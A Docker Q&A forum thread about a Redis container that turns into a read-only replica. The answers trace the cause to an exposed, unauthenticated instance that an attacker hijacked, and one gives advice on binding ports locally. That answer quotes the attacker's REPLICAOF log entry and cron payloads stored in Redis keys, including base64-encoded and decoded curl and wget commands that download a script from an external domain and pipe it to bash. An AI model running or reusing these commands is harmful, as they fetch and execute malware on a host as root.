Question 83063 in Docker Question posted in
The official documentation can be found here.

Redis issue with READONLY You can't write against a read only replica but only running a single instance – Docker

I’m having this issue with redis, i have a node app that listens on a socket, it runs constantly with forever and uses redis to store data. After a couple of hours the node app crashes and it logs:

READONLY You can't write against a read only replica

The thing is, i don’t know why it randomly becomes read only, i only have a single instance of redis running inside a docker container with appendonlydir set to store all the data in a file. The path is fully accessible by the redis container and i can see the appendonlydir file on the host and inside the container.

There isn’t much more i can give, the error is above with no indication of why it’s randomly happening after the writing is working perfectly fine for a few hours.

If it helps my dockerfile:

FROM redis:7.0.0

RUN usermod --uid 1001 redis
RUN groupmod --gid 1001 redis

EXPOSE 6379

COPY ./docker/chat-redis/redis.conf /usr/local/etc/redis/redis.conf

CMD ["redis-server", "--include /usr/local/etc/redis/redis.conf"]

The folder on the host is owned by 1001:1001 and as i say can write to it perfectly fine when i first start up the redis container.

Please let me know if you need to see any of the redis.conf file, i haven’t much in there except the default for version 7 and appendonlydir turned on.

Thee permissions on the directory are also allowing writing of the owner which is 1001

drwx------ 2 1001 1001  4096 Jun  6 13:39 appendonlydir
Tags:

2

Answers


  1. Chosen as BEST ANSWER
    0

    For anyone running into this issue, what seems to have happened is that i hadn't yet closed the firewall ports while i was putting the server setup together and someone got into to the redis container and changed it to read only.

    I didn't set a password on it as it was going to be used in a private network only, but clearly someone got in before i had chance to close the external port.

    I have since set a password.


  2. 0

    Be very careful with the ports definition in your docker compose file or the --publish/-p option for docker run! If you only need to expose the container ports to the local host, I would always specify ports as 127.0.0.1:<host-port>:<container-port>. The <host-port>:<container-port> syntax exposes the host port to the entire network even when you have some firewall rules, e.g. with ufw, set up. Unfortunately, this isn’t very clear in the Docker docs. See also How To Use Docker with a UFW Firewall:

    If you set up a basic UFW firewall to deny by default and allow HTTP and SSH, this will appear secure—but it will not block Docker from starting containers bound to other ports. This issue can be hard to catch, as UFW and Docker are separate systems. UFW is unknowingly lying to you and will not show open ports from Docker containers.

    So I just ran into the same issue and had the same conclusion as @Glen: someone accessed my (unsecured) redis instance and turned it into a read-only replica:

    root@host:~# docker logs <redis-container-id>
1:S 27 Mar 2023 22:40:41.725 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
1:S 27 Mar 2023 22:40:41.725 * Connecting to MASTER 194.38.20.225:8886
1:S 27 Mar 2023 22:40:41.730 * MASTER <-> REPLICA sync started
1:S 27 Mar 2023 22:40:41.731 * REPLICAOF 194.38.20.225:8886 enabled (user request from 'id=41 addr=109.237.96.124:36508 laddr=172.21.0.2:6379 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=47 qbuf-free=20427 argv-mem=24 multi-mem=0 rbs=1024 rbp=5 obl=0 oll=0 omem=0 tot-mem=22320 events=r cmd=slaveof user=default redir=-1 resp=2')

    From what I can tell they pushed (at least) the following keys onto my redis instance:

    127.0.0.1:6379> keys *
1) "backup4"
2) "backup2"
3) "backup3"
4) "backup1"
127.0.0.1:6379> get backup1
"nnn*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash nn"
127.0.0.1:6379> get backup2
"nnn*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bashnn"
127.0.0.1:6379> get backup3
"nnn*/4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bashnn"
127.0.0.1:6379> get backup4
"nnn@hourly root  python -c "import urllib2; print urllib2.urlopen('http://ki\s\s.a-d\og.t\op/t.sh').read()" >.1;chmod +x .1;./.1nn"

    The base64 encoded values decode to the following:

    root@host:~# echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo= | base64 -d
cd1 http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg== b ase64 -d
wget -q -O- http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK | base64 -d
curl http://kiss.a-dog.top/b2f628/b.sh

    At the time of this writing, the domain (kiss.a-dog.top) seems to be defunct now, so I hope that it didn’t actually download any shell scripts from there. But I will still recreate the host machine I guess.

    Login or Signup to reply.
Please signup or login to give your own answer.

Back To Top
Search